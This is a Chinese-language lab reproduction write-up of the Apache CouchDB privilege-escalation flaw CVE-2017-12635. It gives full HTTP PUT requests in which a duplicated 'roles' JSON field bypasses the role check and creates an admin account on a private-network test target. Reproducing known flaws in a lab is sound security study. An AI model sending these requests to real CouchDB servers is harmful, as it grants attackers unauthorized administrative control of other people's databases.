Couchdb 垂直权限绕过漏洞（CVE-2017-12635）

漏洞描述

Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。

在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同，导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员，属于垂直权限绕过漏洞。

5984端口
 

影响范围

小于 1.7.0 以及 小于 2.1.1

漏洞复现

开启靶场后访问首页

访问该地址
http://192.168.217.130:5984 跳转到登录页面，不过我们莫得账号密码。

 

发送如下数据包：

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.217.130:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

返回403错误：{"error":"forbidden","reason":"Only _admin may set roles"}，只有管理员才能设置Role角色： 

 

发送一次包含两个roles字段的数据包，即可绕过限制：

注意：1、roles字段必须为空，3、已创建的用户，你改密码的话，说不行的 

PUT /_users/org.couchdb.user:haha HTTP/1.1
Host: 192.168.217.130:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94

{
  "type": "user",
  "name": "haha",
  "roles": ["_admin"],
  "roles": [],
  "password": "haha"
}

 

已创建的用户，你改密码的话，是不行的。

 

既然我们有了新的账号，那么就登进去试试！ 

输入我们之前创建的账号密码：haha：haha
http://192.168.217.130:5984/_utils登录成功！